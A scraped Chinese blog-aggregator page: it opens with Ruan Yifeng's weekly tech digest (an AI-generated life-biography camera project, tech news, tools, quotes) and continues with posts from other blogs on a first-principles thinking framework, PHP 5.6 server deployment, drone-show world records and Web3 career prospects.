「二十世纪九十年代末，我听过一次报告，主题是个人计算的未来。发言人指出，有一天，对你生命中的每个时刻进行连续不断的视频记录将成为可能。这是个大胆的主张——当时，硬盘空间昂贵得不适合存储视频——可我发觉他说得没错：最终你可以记录一切。尽管我不知道会以什么形式实现，但我觉得它一定会对人类心智产生深远影响。理智上，我们知道记忆并不可靠，但我们很少去质疑它。拥有真正准确的记忆会对我们产生怎样的影响呢？」
《双面真相》后记fin.
- 博客 阮一峰的网络日志 2024-09-06 08:14:18
这里记录每周值得分享的科技内容，周五发布。
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（yifeng.ruan@gmail.com）。
封面图
龙珠岛是香港的一个孤岛，大小约为四个足球场，以前是荒岛，后来建了楼盘。目前，岛上没有任何商店，只有两台自动售货机。（via）
你一生的故事
几年前，我读过一篇科幻小说，名字叫做《你一生的故事》（Story of your Life），有中译本。
这篇小说得过很多奖，还被好莱坞改编成电影《降临》（Arrival）。
它的作者是美国华裔小说家 Ted Chiang（中文名为姜峰楠）。
它讲了一个什么故事呢？
有一天，外星人的飞船来到地球，就停在地球轨道上面。它们向地面发送了很多半圆形的通信站，希望与人类建立接触。
人类只要来到这些通信站，通过某种类似"可视电话"的机制，就能跟外星人面对面交流。
问题是，这些外星人都是七只脚的怪物，人类听不懂它们的语言。美国军方就派出一个语言学家，试图学会它们的语言。
语言学家在学习过程中，慢慢领悟了，预见到了自己的未来。
她看到，自己会结婚，会有一个女儿，然后女儿25岁时将在一场意外事故中去世。
于是，当她听到未来的丈夫问自己："你想要个孩子吗？"，不禁陷入了沉思，要不要让这样的命运发生呢？
这就是小说的内容，它的名字《你一生的故事》，就是指语言学家在讲述她的女儿一生的故事。
我读完后，对这个故事本身没有特别的感觉，倒是对这个书名念念不忘。
每个人的一生都是一个故事，关于走过的旅程，经历的战斗，感受的苦恼和困惑。但是，大多数人的故事没有记录下来，随着日子湮没了。他们自己不会写，也不会有人帮他们写。
如果存在一种服务，可以把每个人的一生写成故事，保存下来，那该多好？
前几天，我发现有人抱有一样的想法，而且居然已经动手做出来了。
他的实现思路很简单，就是随身佩戴一个摄像头，每隔一段时间，自动或手动对着周围环境，拍一张照片。
然后将这张照片发送到 OpenAI，让 AI 根据预先设置的提示词，用传记的作者的口吻，为照片生成一段描述。
他用树莓派 + 摄像头 + 打印的外壳，做出了一个这样的装置，只要佩戴在身上，就会定时把周围环境的照片发送到 OpenAI。
他用的提示词如下，我译成了中文，里面的人名、城市、年龄都是随便改的。
你是一部关于张三的电影的叙述者。张三的年龄为20岁，所在城市为上海。当你看到附件的场景照片时，应该从张三的角度描述这张照片，所有人物都使用第三人称。
我就从网上找了一张上海街景的照片。
然后，把照片和提示词一起发给 OpenAI，下面就是返回的描述。
在这张照片中，张三站在熙熙攘攘的上海街头，他的眼光落在了"杨氏煎饺"的招牌上。街道上人群络绎不绝，从周围匆匆走过的行人到排队等待的食客们，每个人都沉浸在自己的小世界里。队伍前的人们耐心地等待着品尝这家声名远扬的小吃，而张三对这一幕并不陌生。这不仅仅是一条普通的街道，对他来说，这里充满了家的味道和温暖的回忆。
街道两侧的建筑展示了上海的传统与现代的融合，老旧的石库门建筑与现代的招牌交相辉映。电线杆上纵横交错的电线像是城市生活的复杂脉络。尽管张三已经习惯了这种忙碌的城市生活，但每次路过这样的街景，心中总会涌起一丝慰藉。
在这繁忙的一天里，张三像往常一样穿梭在这座大都市的心脏地带，尽管他只是其中的一员，但这座城市的每一个角落都承载着他的故事和梦想。
这像不像一段传记？
这些照片和描述都按照时间顺序保存，只要将它们连起来，就是一部图文并茂的你的传记。以后，你自己或者其他人，就可以查看你的每一年是怎么度过的。你还可以手动添加自己的补充。
就这么简单，实现了 AI 为你写传记。它使用的都是很普通的技术，完全可以集成在市售的智能眼镜里面。
我希望，很快就会有公司推出这样的服务，让 AI 为你写每天的传记。以后，每个人都会有成文的"你一生的故事"，流传下去。
[数码荔枝活动] JetBrains 全家福折扣
数码荔枝是国内知名的正版软件销售商店，拥有众多正版软件的代理权。
现在是开学季，他们推出了 JetBrains 系列软件折扣，来周刊发布活动消息。
大家知道，JetBrains 是世界排名第一的 IDE 开发商，著名的 IntelliJ IDEA 和 WebStrom 都是它的产品，尤其前者堪称 Java 必备工具。另外，谷歌官方推荐的安卓开发语言 Kotlin，也是它发明的。
大家想要购买正版，这是挺好的机会。现在到9月底，可以点击领取50元 JetBrains 优惠券，或者扫描下图二维码：官方优惠售价打98折，再减50元。
科技动态
1、宇航员的尾巴
动物的尾巴，一个重要作用就是在运动中，保持身体的平衡。
英国皇家设计学院的一个学生，根据这个原理，为宇航员设计了一条尾巴，便于在失重环境下保持平衡。
这个尾巴还可以有其他功能。比如，作为第三只手，抓住支撑物。
它的问题是，无法用意识控制这个尾巴，而是要手动拉扯控制绳，有点像百叶窗的操作方式。
2、假西瓜
美国媒体报道了一桩令人啼笑皆非的新闻。
犯罪分子将毒品伪装成西瓜，装在卡车上，企图从墨西哥混进美国。
有些假西瓜，与真西瓜混在一起。更多的则是，整箱整箱全部假西瓜。
问题是，这些西瓜实在太假了，就是外面包了一层西瓜皮的塑料纸，再用胶纸粘合在一起。
海关人员一眼就看出"西瓜"有问题，把这些人全抓了起来。
3、超声波咖啡
我们一般都用热水冲泡咖啡，但是有些人喜欢冷水冲泡的咖啡，也就是冷萃咖啡。
据说，冷萃咖啡更顺滑、酸度更低、苦味更少。但问题是，它需要冷水完全浸泡咖啡粉12到24小时，这样才能提取风味。
你想拿起水壶，立刻冲一杯冷萃咖啡，那是不可能的。
澳大利亚科学家最近发明了一种新方法，可以在三分钟之内就制作一杯冷萃咖啡。
他们使用 38.8 kHz 的超声波，去冲击咖啡的过滤篮，让咖啡因快速释放出来。
以前12小时的萃取过程，现在只要三分钟。这个发明可能会改变咖啡店和咖啡爱好者的冲泡方法。
文章
1、使用 GitLab 托管静态内容（英文）
一篇简明教程，演示如何在 GitLab 通过持续构建，部署静态网页。
2、AI 代码编辑器 Cursor 上手指南（英文）
Cursor 是最近走红的 AI 代码编辑器，底层模型是 Claude 3.5 Sonnet，代码生成要比 GPT-4 更出色。作者介绍怎么使用这个编辑器。
3、JS 垃圾收集机制的一个案例（英文）
作者发现自己的 JS 代码，出现了意想不到的内存泄漏。本文就讨论这个案例，为什么垃圾回收机制在这里失灵。
4、被低估的硬件小配件（英文）
一个老外发现淘宝/1688上面，有很多实用的硬件小配件，比如转角的 USB 接头（上图）。本文介绍他发现的这些配件。
5、云开发环境的好处（英文）
CodeSandbox 官方博客文章，介绍云开发环境（开发都在云端完成）的好处。
6、React 的混乱（英文）
本文是发在 Reddit 的一个帖子，作者写了自己的亲身感觉，总结 React 开发前端应用时存在的问题。
工具
一个网页应用，将图片转成彩色的 ASCII 字符图（上图）。
2、Unforget
一个开源的 Web 笔记应用，后端数据放在 Google Keep。
3、Revideo
一个 React 的视频编辑组件，可以实时编辑内容，在网页上生成视频。
一个 Chrome 浏览器插件，打开新的 Tab 页时，随机展示一幅 unsplash 图片库的高清照片。（@zerosoul 投稿）
这个开源工具从 DNS 提供商，自动获取域名的解析列表，用来检查所有域名（含二级域名）的证书是否过期，目前支持腾讯云、阿里云和 Godaddy。（@eryajf 投稿）
6、BoardOS
一个支持实时协同的白板软件，有免费版。（@superliwei 投稿）
7、ThinNav
作者在 ChatGPT 的帮助下，完成的一个极简的网址导航站，自带后台管理系统，可以用作学习参考。（@DemoJ 投稿）
一个在线工具，用来生成符合指定格式的 JSON 伪数据。
9、LangSync
一个命令行工具，使用 AI 一键翻译出软件的语言包。
10、ttyd
这个命令行工具可以在浏览器里面，打开本机的终端窗口，让用户在浏览器执行终端命令。
11、AstroNvim
neovim 编辑器的一个配置，直接帮你定制好了。
照片管理软件
如果你不想再用云服务（比如 iCloud Photos 或 Google Photos）管理照片和视频，而想自己架设照片管理服务，那么目前比较流行的是下面三款开源软件。
它们都带有 Web 端，后面两款还有手机端。
2、Immich
3、Ente
资源
这个网站提供免费的 PostgreSQL 实例，让你在网页进行各种数据库测试。
一个很有趣的网站，给你一系列颜色，问你这是蓝色，还是绿色，最后确定你的蓝绿边界在哪里。
3、轻松游牧
一个远程工作聚合网站，每天从网上收集支持国内远程的岗位。（@jiangsong216 投稿）
一个收录独立网站的搜索引擎。（@0x2E 投稿）
5、初学者的微积分教程（Calculus for Beginners）
一本英文的微积分教材，从最简单的概念讲起，免费阅读。
图片
PhotoShop 是世界排名第一的图像处理软件。它最早是由美国的两兄弟，托马斯·诺尔和约翰·诺尔，在1987年开发的。
软件完成后，需要对客户演示。但是，当时很难找数码照片，因为照相机都是胶片相机，不是数码相机。只能对相片进行数字扫描，获得数码照片。
约翰·诺尔就选了一张在南太平洋玻利尼西亞度假时，他为女朋友在海滩上拍的照片，进行扫描。
这就是 PhotoShop 处理的第一张照片。
2、最小的英文字体
世界最小的英文字体是一个瑞典设计师的作品。他在 3x3 像素的面积里面，实现了26个字母。
也就是说，9个像素的空间里，要展示出 abc 每个字母的形状，长和宽最多只能用3个像素。
文摘
1、鲍尔莫的面试题
微软的前 CEO 鲍尔莫曾经在采访中透露，他会问面试微软的候选人一个问题。
我要跟你玩一个游戏。
我在心里选择一个1到100之间的整数，你来猜这个数字。每次猜完，我会告诉你，答案比你猜的大还是小。如果猜错，你可以接着猜，直到猜中为止。
如果你只用一次就猜中，我给你5美元，用两次猜中我给你4美元，三次3美元，四次2美元，五次1美元，六次0美元。
你还是没猜中的话，就要倒贴钱了。七次猜中，你给我1美元，八次2美元，九次3美元。
请问你应该玩这个游戏吗？
回答这个问题，需要算出游戏结果的期望值，以确定哪一方获利的可能性更高。计算过程和结果可以看链接。
2、安灯线
安灯线（Andon Cord）是丰田公司在流水线引入的一种质量控制方法。
丰田公司的装配线上方，有一根长绳。任何一个员工发现产品缺陷时，就拉一下这根绳子。警报器就会响起来，整个装配线都会停下来。
生产经理听到警报以后，就会跑过来，了解产品缺陷并解决问题，然后生产线才会重新开动。
这种制度的目的是，谁发现问题，谁拉绳子，直到解决为止，不要把问题留给下一个环节。
言论
1、
截至去年底，英特尔的员工人数为124,800人，台积电为76,478人，AMD 为26,000人。
后两家公司加起来，还比英特尔的人数少，却造出更强的芯片。英特尔现在宣布裁员15,000人，还是不够，后面可能会进一步裁员。
-- 《英特尔的问题》
2、
在英国，汽车靠左行驶。据说，这沿袭自罗马时代，当时罗马人在道路左边骑马。
罗马人之所以选择左边，是因为他们习惯在身体左侧佩剑。这样右手拔剑时，就可以对付道路中央的敌人。
3、
我对元宇宙的定义是，一个大型多人在线宇宙，具有空间感，所有用户都以相同的方式感知围绕着该空间的体验。你可以从一个地方移动到另一个地方，并与不在场的其他用户互动。它不受任何一个实体的控制，许多大大小小的创作者都在那里建造东西。
-- 尼尔·斯蒂芬森（Neal Stephenson），"元宇宙"这个词的发明者
4、
我的职业建议是，任何工作要么让你学习（learn），要么让你赚钱（earn）。如果既学不到新东西，又赚不到钱，你就应该走了。
往年回顾
为什么英雄不使用炸药（2023 #269）
如何防止帐号被黑（2022 #219）
五菱汽车的产品设计（2021 #169）
降雨量和保险博弈（2020 #119）
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年9月 6日
- 博客 Jiajun的编程随想 2024-09-06 08:00:00《让浏览器下载文件》不知道你是不是遇到过这样的需求，想要从服务器将一个文件发送给用户。原来我以为，直接遵循这么几步就可以：- 将文件内容写入到响应体中...
- 博客 Jiajun的编程随想 2024-09-06 08:00:00《再读《软件随想录》/《黑客与画家》/《软技能》》最近重读了这三本书。上一次读大概还是在10年前，有了这些年的工作经验，再看这些书，感触颇深。---...
- 博客 格物致知 2024-09-06 07:54:00因为需要在云上部署一些服务，所以就使用了一下 terraform，这篇简单记录了一些常用操作以及遇到的一些问题和解决方法。
- 博客 二丫讲梵 2024-09-06 06:32:03如要阅读全文，点击标题跳转。学习周刊-总第175期--重磅推荐我的最新开源项目，https://github.com/eryajf/clouddnsexporter，自动获取 DNS 提供商的域名及解析列表，同时自动获取每个域名解析的证书信息，并导出为 Prometheus Metrics。已支持：Tencent，Aliyun，Godaddy，Aws。
- 博客 唐巧的博客 2024-09-06 03:47:11
前言
马斯克运用第一性原理成功创立了 SolarCity、特斯拉、SpaceX。我们在生活和工作中，也会涉及很多需要解决的未知问题。大多数时候我们都听从于「长辈经验」，这种决策方式大多数时候是对的，但是对于创新工作或者重要决策却可能是一个灾难。
我结合自己的工作实践，总结出一个基于第一性原理的思考框架，希望可以帮助大家重建问题分析的通用框架。
我应用这个通用框架解决以下各种工作上的问题：
- 如何提升 iOS 开发水平
- 如何优化直播间销量
- 如何在韩国卖斑马思维机
作为案例，我也教大家用这个框架解决以下生活问题：
- 减肥没效果怎么办
- 如何找到男/女朋友
希望对你有帮助。
框架概述
这个框架把解决问题分成 4 步：
- 信息收集
- 信息建模
- 信息判断
- 策略迭代
我们拿一个生活中的问题来举例：“有个朋友减肥一直没效果，想让你帮忙分析一下”。
第 1 步：信息收集
当你的朋友给你说减肥没效果的时候，你不要着急给他下诊断出解决方案，不着急说：你一定是缺少运动，或者说一定是吃太多。因为在“减肥没效果”这件事情上的原因可能有成千上万种，你得先找到原因，才能对诊下药。所以，你应该先收集信息。
在收集信息上，得做两个大类的信息收集：
- 1、收集经验数据
- 2、收集原始数据
收集经验数据
什么是经验数据？经验数据就是人们在这件事情上已经形成的方法总结。拿减肥来说，不管是小红书还是 B 站，还是微信公众号，上面已经有很多人分享减肥这件事情的经验，有成功的总结，也有常见的失败，这些都是宝贵的经验数据，你应该先收集下来。
还有哪儿有经验数据？专门的减肥书籍，应该可以找到很多。身边的减肥成功的朋友、健身房的身材管理教练，也是可以去咨询收集信息的重要来源。
对于减肥来说，以上的信息收集渠道可能就够了。对于一个通用的问题，可供寻找的经验数据源有以下这些供参考：
- 查阅类：搜索引擎、ChatGPT、国家统计局资料、专门书籍、知网数据库、行为研究报告
- 走访类：专家访谈、用户访谈、实地走访。
对于一个你完全不了解的领域，可以用 What-else 研究法。以研究 iOS 开发为例：
- (what) 什么是 iOS 开发？然后你可能通过查找资料发现这是一种移动开发技术。
- (else) 还有哪些是移动开发。你可能找到 Android开发，Windows Mobile 开发等。
- (what) Android 是什么？然后你可能查到这是 Google 出的移动开发技术。
- (else) Google 家还出了哪些开发语言？然后你可能查到 Flutter。
应用 What-else 研究法，你可以快速扩展自己在该领域的知识点，从而慢慢把知识点连成线，形成经验数据的图谱。
收集原始数据
原始数据是指现场的、未经加工和解释的数据。马斯克在思考如何造火箭的时候，查阅制造火箭的基础原料成本，就是在收集原始数据。这为他进一步利用第一性原理，推测出火箭的制造成本有大幅下降空间提供了基础信息。
还是说回减肥这个案例，对于这个减肥没效果的朋友，最重要的原始数据是什么呢？
有人说是他自己是怎么减肥的，这只说对了一半。如果你只是听他讲他是怎么减肥的，那就不是“原始数据“。因为这里面已经有了你的这个朋友的主观判断在里面。这件事情的原始数据应该是你的朋友每天的日常的生活现场和减肥的现场。你应该全程跟着这个朋友，记录下这个现场，这才是最最原始的，未经加工的数据。
我很喜欢一个美剧叫豪斯医生（Doctor House），主人公豪斯医生就从来不相信病人的口述，而是像个侦探一样，从各种现场的细节来判断真相，最终找到真实的病因，对诊下药。我想他一定是和我一样明白原始数据重要性的😁。
第 2 步：信息建模
有了第 1 步的信息收集工作，我们对问题已经有了足够多的了解，接下来就可以开始第 2 步的信息建模工作了。
信息建模的工作分为 3 步，分别是：
- 1、拆解问题
- 2、找到问题的核心数据指标
- 3、数字化/自动化地收集核心数据
拿减肥来说，如果你基于收集到的信息，发现你的朋友主要是运动太少，那么你就可以把减肥问题拆解成「控制摄入」和「提高代谢」两个角度。
但不同的情况下，拆解问题的角度应该不一样。如果你的朋友是因为心情抑郁暴饮暴食，那么问题就应该围绕心理健康展开拆解。如果你的朋友是因为肥胖症，那么又应该从这个病症的专业治疗角度，展开拆解。
再举一个例子：iOS 开发水平应该如何提高的？我的拆解是：输入和输出两个角度。
- 输入方面：我们可以拆解成阅读博客，阅读图书，看相关的视频，听相关的分享，参加相关的会议，找同事请教等。
- 输出方面：我们可以拆解成写总结的文章，代码练习，分享等。
- 代码练习又可以分成：工作上的代码优化、面试题目代码的练习、开源项目的参与等。
我之前也是基于上面的拆解，坚持写了好多年的技术分享，最终出版了《iOS 开发进阶》。
拆解完问题之后，我们需要将拆解完的指标量化。
- 拿减肥的案例来说，我们就应该收集每日摄入的卡路里和身体的代谢率指标。
- 拿 iOS 提高的案例来说，我们就应该量化输入和输出的周度、月度、年度目标。
有了量化的指标，如果我们能够将其数字化记录到系统中，甚至自动化收集它就更好了。
- 拿减肥的案例来说，我们用一个软件记录每天的卡路里摄入和代谢率，就很好。
- 拿 iOS 提高的案例来说，我们用统计工具记录自己代码练习量，就很好。
【练习】假如我们的问题是：如何找到男/女朋友呢？如果你的信息收集发现，问题主要出在自己太害羞，应该如何拆解问题和量化指标？
第 3 步：信息判断
执行完第 1 步和第 2 步，你还不能解决问题，因为前面只是帮你分析了数据，找到了关健的一些指标，具体怎么做并没有解决。
所以，在第 3 步，你需要根据前面的信息，做判断和决策，制定自己解决问题的「执行方案」。
- 拿减肥的案例来说，你需要制定每日控制卡路里摄入和代谢率的具体方法。
- 拿 iOS 提高的案例来说，你需要制定输入和输出的具体每日任务目标，以及做合理的时间规划等。
如果我们在面对一些创新性的问题，因为可供参考借鉴的案例不多，在制定执行方案的时候，应该尽可能打开思路，用第一性原理去思考。比如：别人造电动车没有电池就放弃了，马斯克的执行方案却是用 7000 多节松下的 18650 电池拼成一个大电池包。
第 4 步：策略迭代
你的执行方案不一定靠谱，当你发现过一段时间，关键数据指标并没有变好的时候，就说明你应该停下来思考一下了。在这一步应用 PDCA 环，可以很好地帮助你优化自己的方案。
PDCA 包括：
- 策略制定（Plan）
- 策略实施（Do）
- 检查过程，保障策略能够实施到位（Check）
- 获得策略数据反馈，调整（Act/Adjust）
有关键数据做指导，你做的任何调整都能带来正反馈（指标变好）或者负反馈（指标变差），这样你很快就能从中总结经验，对问题有更加深入的理解，从而优化自己的执行方案。
本框架的局限
本框架有三个局限：
- 只适合解决有原始数据的问题
- 只能保证策略尽可能对，不能保证执行到位
- 个体的思考和判断是解决问题的核心
所以，没有银弹，本框架只能帮你尽可能接近真相，真正要解决问题还是得靠你自己的思考、判断和执行。
以上。
- 博客 西秦公子 2024-09-06 00:42:09上个月完成了工伤的认定，于是把治疗期间的费用拿去进行了一些报销。把一些信息也分享给大家。 工伤如何报销？ 工伤 […]
- 博客 elmagnifico 2024-09-06 00:00:00
Foreword
传闻中天下第一的语言，试一下服务器部署，没想到这么困难，老古董还是有点难啊
PHP
部署
先安装PHP，2021 年开始，Ubuntu 官方不再支持 PHP 5.6 版本的维护和更新，因此如果需要在 Ubuntu 上安装 PHP 5.6，则需要使用第三方的 PPA（个人软件包归档）来进行安装
sudo add-apt-repository ppa:ondrej/php sudo apt-get update sudo apt-get install php5.6 php -v PHP 5.6.40-78+ubuntu24.04.1+deb.sury.org+1 (cli) Copyright (c) 1997-2016 The PHP Group好像fpm不这么装也行，5.3.3以后集成了fpm，本身是用来管理的
apt-get install php5.6-fpm systemctl status php5.6-fpm检查apache服务启动
systemctl status apache2.service内网地址，可以看到页面了
http://10.10.2.24/替换一个PHP的index看下
<!DOCTYPE html> <html> <body> <h1>我的第一个 PHP 页面</h1> <?php echo "Hello World!"; ?> </body> </html>到这里已经可以正常显示启动了
数据库
sudo apt install php5.6-mysqldocker pull mysql:5.6 docker run --name user_database -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.6<?php // 准备连接参数 $servername = "localhost"; $servername = "127.0.0.1"; $username = "root"; $password = "123456"; $dbname = "user_database"; // 创建数据库连接 $connect = mysqli_connect($servername, $username, $password, $dbname); // 检查连接 if (mysqli_connect_error()) { die("连接失败: " . mysqli_connect_error()); } // 选择数据库 if (mysqli_select_db($connect, $dbname)) { echo "数据库连接成功"; } else { echo "数据库连接失败"; } // 关闭连接 mysqli_close($connect); ?>测试是否可以连接到数据库，目前没有问题了
Apache2
Apache2和之前的不太一样，配置文件都改变了
ports.conf中是apache监听的端口
# If you just change the port or add more ports here, you will likely also # have to change the VirtualHost statement in # /etc/apache2/sites-enabled/000-default.conf Listen 80 <IfModule ssl_module> Listen 443 </IfModule> <IfModule mod_gnutls.c> Listen 443 </IfModule>默认apache的虚拟主机是
/etc/apache2/sites-available/000-default.conf<VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com ServerAdmin webmaster@localhost DocumentRoot /var/www/html # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>类似nginx的config文件，设置域名和端口等等相关代理设置
在
apache2.conf中的是apache的全局设置，比如是否支持SSL，映射目录是什么Summary
一个奇怪的问题php里localhost和127.0.0.1竟然不一样，识别不了localhost，查了一下大概是由于php.ini中缺少了默认sock的方式，localhost是一种特殊传递数据的方式，并不会经过socket
Quote
https://www.runoob.com/w3cnote/php-basic-summary.html?source=1
https://blog.csdn.net/m0_52985087/article/details/132132219
https://blog.csdn.net/weixin_71993565/article/details/140336762
https://blog.tag.gg/showinfo-13-35867-0.html
- 博客 61's life 2024-09-05 23:31:1588
- 博客 Skywind Inside 2024-09-05 23:05:00
作为一名编辑器爱好者，EditPlus 是我最喜欢的编辑器之一，超过 NotePad++，它启动速度比它快，打开文件比它快，功能比它强，颜值也比它高，但大小只有 2MB： 用了这么多年，我感觉我欠 EditPlus 一篇文章，介绍一下我平时是如何是用 EditPlus 搭建开发环境的，以及如何让它变得更好用： （点击 more/continue 展开） 先配置下 GCC 的工具，选择主菜单 Tools-> Configure User Tools： 然后点右边按钮 “Add Tool” 并选择 “Program”，然后在下面填空： Menu text: Execute Program Command: C:\Windows\system32\cmd.exe Argument: /C "$(FileNameNoExt)" Initial directory: $(FileDir) 这些形如 $(FileDir) 之类的宏不用死记，点输入框右边的下箭头按钮，就能弹出菜单，让你选择后自动插入： 配置好以后，点下方 … Continue reading →
The post EditPlus 的配置方法 appeared first on Skywind Inside.
- 博客 KAIX.IN 2024-09-05 17:47:11
相比于网络上随处可见的「弄懂 XXX 读这篇文章就够了」一类标题，我自然更欣赏李如一兄截然相反的表述：要理解 Dynamicland 读这些书是不够的。重点不在于几篇文章或者几本书才够，而是或许多少篇多少本都不够。这和人人都能理解新事物并不矛盾，只要不把理解当作一种固定状态而是当作一种持续着的进程就可以。
fin.
- 博客 西秦公子 2024-09-05 00:41:39今天，终于把工伤给办理完了，拿到了人社部门寄来的工伤证。于是总结一下自己办理工伤的相关信息。 什么情况下可以认 […]
- 博客 西秦公子 2024-09-05 00:13:40做决策需要谨慎，尽可能多的收集上下文，然后基于自己的上下文和分析的范式，进行决策。如果可以，拿着决策去找长者聊 […]
- 博客 elmagnifico 2024-09-05 00:00:00
Foreword
再破一次吉尼斯世界记录，然而还不止于此。吉尼斯也会撞车，这谁敢信？不仅仅撞车，某一个类似的记录在连续一个月内被连破五次，这是巧合还是故意的？
吉尼斯
Most Unmanned Aerial Vehicles (UAVs) airborne simutaneously
现在已经无法回查到4年前的那条记录了，应该是出现了冲突，所以所有此条记录都不存在了，只有曾经的官方新闻证明曾经破过。
Most remote controlled multirotors/drones airborne simultaneously
现在是使用这条记录进行平替，以前的描述和标准其实都有点太过轻松了，而且也有很多不合理的点，特别是大架次以后还要人数，这个就非常扯蛋，以前三五千人数也就算了，这都快破万了，人数已经很不靠谱了。
https://www.guinnessworldrecords.cn/search?term=%2A
通过吉尼斯的查询入口，可以查到大部分记录，有一部分需要注册登录以后才能查询
这次破的是：
the largest image formed by multirotor/drones
如果有相似团队或者个人挑战同一个记录，特别是商业目的的，吉尼斯会锁定这个词条大概一个月左右的时间，给予充分的宣传时间，如果是挑战不同记录，那就没啥错峰的操作了
还好这次破纪录可以反向逆推，数没起飞的就行了，实际数量也可以直接参考地面站的数值，不需要弄一堆第三方志愿者来数飞机了，太傻了。
四年前预言压力在网络上，大概极限是在7500左右，这次直接就破到了7598，刷新了最大架次，而事实证明这个数量还不是极限，还能再往上顶。
7598之后，就是7998，这也算是最短的记录了，破完第二天别人就又破了，起了个大早赶了个晚集
再接着8100，很烦，本来这个东西在这个级别再比起来就没啥意思了，但总有人在卷，你就得更卷，所以下次就是五位数了
Summary
迭代了2代产品，才勉强打过别人3年前出的产品，进步的速度肉眼可见的慢。
拿着4年后的产品跟别人三年前的产品比较，确实有所进步，总算领先了那么一点点，但也仅此而已了
- 博客 西秦公子 2024-09-04 22:35:09今晚在写飞书 Bot ，遇到了一个无法解决的问题的时候，不得已，找到了飞书的 OnCall。但在聊天的一开始， […]
- 博客 西秦公子 2024-09-03 23:08:54对于很多运营新人来说，社群运营 = 发广告。但，运营推广实际上是会消耗你的 Credit 的。因此，在实际去落 […]
- 博客 欧雷流 2024-09-03 20:35:51
之前写的文章《Web2 终是末路，Web3 才是归宿：接触 Web3》和《Web2 终是末路，Web3 才是归宿：拥抱 Web3》的标题看起来有些危言耸听，还有人说我是标题党。
可这两篇文章说的是我向 Web3 全栈工程师转型的经历，「Web2 终是末路，Web3 才是归宿」是对我个人而言的感受与选择，算不上是对行业的总结及对他人的建议——本文正好相反。
Web2 终是末路
有人看完那两篇文章后评论留言：「从头到尾都没说为什么 Web2 是末路。」确实，主要原因上面也说了，它们是讲述我个人经历的，不是说行业与职业发展建议的。
另外，关于「Web2 不行了」的观点我之前也较为完整地表达过，在《对前端同行的最后一次劝诫》中有一小部分，更多的是在我付费专栏里的一篇文章《看工作看得我「蕉绿」了》中。
为保障这一系列文章的连贯性、完整性，现将那篇付费才能看的文章中的主要内容拿出来，下文是在它基础上进一步加工而来——
供需错位
去年中秋节，我在跟🐷摆摊时闲来无事，就打开 BOSS 直聘看看工作。
把期望月薪范围调高点，并设置了自己擅长的方向后一查看，以往满眼的纯螺丝钉岗位大多消失不见，映入眼帘的是 Web IDE 开发、Electron 资深开发、前端技术总监、前端团队负责人等较高端岗位。
它们合起来的月薪范围大致在 35k～70k，想想就很爽！但一看要求，嗯，我不配……
有人抱怨找工作难找，需求饱和了；有人哀叹招人难招，人才可遇不可求——在那时，我算是真的感受到并理解了这其中的矛盾与沟壑。
在常规的招聘市场上，我处于一个上不上下不下的境地，很是尴尬——若做螺丝钉，大材小用，对用人单位来说性价比低；但当有规模团队的顶梁柱，能力、经历上又有所不足。
以上为我在找工作时所面临的一方面问题，另一方面是前景问题，这影响着工作岗位、公司、行业等的稳定性（生命周期的长短）——人无远虑，必有近忧。
前端已死？
我在整理前端相关内容专题时，介绍中特意强调了——
「前端工程师」是以 HTML、CSS、JavaScript 等 Web 前端技术为核心解决网页或基于 Web 的应用相关问题的「软件工程师」。
像利用 Canvas、WebGL 等技术去做些绘图、游戏等的话，已经脱离当下一般意义上的「Web 前端」范畴，他们的知识体系则是以图形学等为重，目前不在本专题的范围内。
堂主在关于玉伯离职的知乎问答里有提到——
新一幕，是 AI 结合下的行业新时代，扑面而来的技术生产力大升级，产品表达大重构，和商业重塑。
作为技术实现的职能之一，前端也会迎来新时代，前端所承载的体验科技的价值，会被更广泛的人群所共识，逐渐成为基础认知。
玉伯领先当时，认知、创办且做成了蚂蚁集团的体验技术部。理念、产品、团队、影响力、业务价值，沉甸甸的成绩。
玉伯成名于前端，成就了诸多的技术产品和体验技术部这个团队。下一个行业周期，我相信玉伯继续有能力、空间和足够的人才，去 Make Something Better, Promote Something Change，成功于业务和商业。
而前端，前端所谓的“问题” 多是认知的局限导致。AI 生产力为底层引擎的新时代，对交互和体验的价值交付的新课题，可能“前端”的精彩才刚开始。这肯定不意味还会继续全承载在我们所熟悉的浏览器内的 2D 页面。
结合这两个，让我想到去年年初时闹得沸沸扬扬的「前端已死」。
这个话题我于 2020 年就在知乎问题《前端会有未来吗？》里表达过观点，并专门写文章《前端有未来吗？》更详细地阐述。
在那一年后，我又补充了一些相关思考——
5～10 年后，Web 开发会有大量工具人失业，并且入行门槛变高，薪资/涨幅变得更低，已经不会像几年前那么吃香了，工作 6 年以上的人应该有所体感。
这个职业已经开始要往下走了，是时候考虑下 5～10 年后自己该做什么了，尽可能及时调转方向，调整赛道。
我想说的是——Web 开发相关的职业，如前端工程师、Java 工程师等快到头了。并不是说找不到工作了，而是将会越来越难找且赚得还少，离「高薪」这个词渐行渐远。
二十年前，中国进入 PC 互联网时代；十年前，中国和世界一起进入移动互联网时代。这二十年间，随着各种互联网公司的野蛮生长，中国经济迅速崛起并腾飞，追赶并超过了其他国家。
然而处于这个阶段，很多事情已经处于平缓区，十年后，无论互联网在形式上再怎么变革，Web 开发也不会激起多大波澜，跟 Web 开发没多大关系。
目前来看，未来是数据智能、混合现实、图形化技术、结合生物/生命科学的计算和一些基建方面的。相对来说，Web 开发就是一些「砖瓦工」工作。
任何工具类事物（如科技、技术、服务等）都有时效性，所以如何将它们所产生的利益、价值最大化是很重要的。
我想到的基本点在这都告诉你们了，用不用得起来是你们的事——
